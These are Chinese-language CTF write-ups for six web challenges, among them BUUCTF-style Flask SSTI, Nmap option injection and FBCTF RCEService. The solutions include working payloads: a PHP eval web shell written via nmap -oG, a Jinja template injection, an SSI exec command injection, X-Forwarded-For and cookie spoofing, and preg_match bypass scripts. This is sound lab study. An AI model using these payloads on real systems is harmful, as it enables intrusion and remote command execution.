[MRCTF2020]PYWebsite
知识点:xff
打开网页需要买flag,试着买了一下,发现并不能买,但试这个二维码给了提示,说好好看看源码,在主页上查看源码发现如下代码
function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
}
}
在这段代码中有一个flag.php试着访问一下,url+/flag.php;
他说只有自己激活知道flag,抓包,在最后添加一行
X-Forwarded-For: 127.0.0.1
之后发送就可以得到flag了
[WesternCTF2018]shrine
知识点:python中ssti
打开题目就是一段python代码,代码如下
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
//显示代码
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c)for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
接下来就是审计代码了
app.config['FLAG'] = os.environ.pop('FLAG')
这段代码就是解释flag在哪里,这段代码就说app.config环境中创建一个flag的变量它就是os环境中的flag那么就是要找到app.config从而得到flag。
接下来就是两段路由,第一段路由就是显示代码,第二段路由就是让我们访问/shrine/,这里给了正则表达式并且给了黑名单,过滤了config,如果访问config就会返回None;
介绍一下下面两个知识点
url_for()方法
url_for() 会返回视图函数对应的URL。如果定义的视图函数是带有参数的,则可以将这些参数作为命名参数传入。
get_flashed_messages()方法
返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
注入{{url_for.__globals__}}查看里面的变量信息
查到当前的配置变量
之后注入{{url_for.__globals__['current_app'].config}}
得到flag
[网鼎杯 2020 朱雀组]Nmap
知识点:nmap的命令,escapeshellarg()与escapeshellcmd()函数绕过
题目叫做nmap,打开网页就是一个可以扫描ip的工具,那就随便输入一个ip 127.0.0.1,可以发现显示的信息和nmap扫出来的信息是一致的说明就是用nmap相关的命令去解出此题
nmap的命令
-oN (标准输出)
-oX (XML输出)
-oS (ScRipT KIdd|3 oUTpuT)
-oG (Grep输出)
-oA (输出至所有格式)
写一个shell
<?= @eval($_POST[1]); ?> -oG a.phtml
写入访问就发现没有写进去,需要绕过escapeshellarg()与escapeshellcmd()函数
绕过方式用单引号和空格绕过
' <?= @eval($_POST[1]);?> -oG a.phtml '
在访问就可以发现访问到了,之后执行命令
url+/a.phtml
post
system('cat /flag');
就可以得到flag
[BSidesCF 2019]Kookie
进入网站,就可以得到账号和密码,直接登录并抓包,发送会被告诉让cookie中username=admin,那就将cookie设置成相应的值发送就可以得到flag;
[BJDCTF2020]EasySearch
重要知识点:shtml
这个知识点我以前好像没见过,记录一下
CTF之Web安全SSI注入 - FreeBuf网络安全行业门户
这篇文章详细介绍了这个相关命令方式
<!--#exec cmd="命令"-->
这是它执行命令的方式,接下来就开始解题了
打开页面是一个登录页面,随便试一下就是显示失败,扫一下什么也没有扫出来,看了wp才知道有这个源码index.php.swp备份,在自己的字典写一下,打开这个页面看到源码
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
最重要的是这一段代码
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6))
这段代码要求不能让username等于空,同时password的值md5加密之后前6位为6d0bc1
这个简单写一个脚本进行爆破
from hashlib import md5
for i in range(10000000):
if md5(str(i).encode('utf-8')).hexdigest()[:6] == '6d0bc1':
print(i)
爆破之后得到这几个数选一个
2020666
2305004
9162671
payload
username=1&password=2020666
然后在用这个payload post传参时需要抓包,在bp中发包,得到一个url
wp说看到这个页面可以猜想到shtml
然后用payload去执行命令
username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666
这个是最终命令,命令是用常规命令试出来的;
这个命令需要在主页面上post传参之后,在得到那个url,再去访问去得到flag
具体步骤如下
在这个页面进行post传参并抓包
然后发送,得到url,在网页访问就可以得到flag;
[FBCTF2019]RCEService
知识点:preg_match绕过,绝对路径去打开文件
这道题打开页面就是一个命令执行框,但是不知道如何去执行命令,这里学会了json执行命令的方式就是{“cmd”:“ls”}
这里可以从Facebook CTF 2019 - Web - 先知社区这个网站去获得这个题的源码
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
这里看到preg_match,因为这个正则函数就只能匹配一行,所以可以用%0a截断进行绕过,
payload
{%0A"cmd":"ls /"%0A}
用这个命令打开目录,找到flag,但flag用cat打不开,这里需要用绝对路径,
这里的payload
?cmd={%0A"cmd":"bin/cat /home/rceservice/flag"%0A}
还有一种方法去绕过preg_match就是进行回溯,回溯脚本
url='http://6411bcf2-6080-407e-921d-dd453425f712.node4.buuoj.cn:81'
data={
'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","haha":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text
print(r)
这道题学到的知识不少;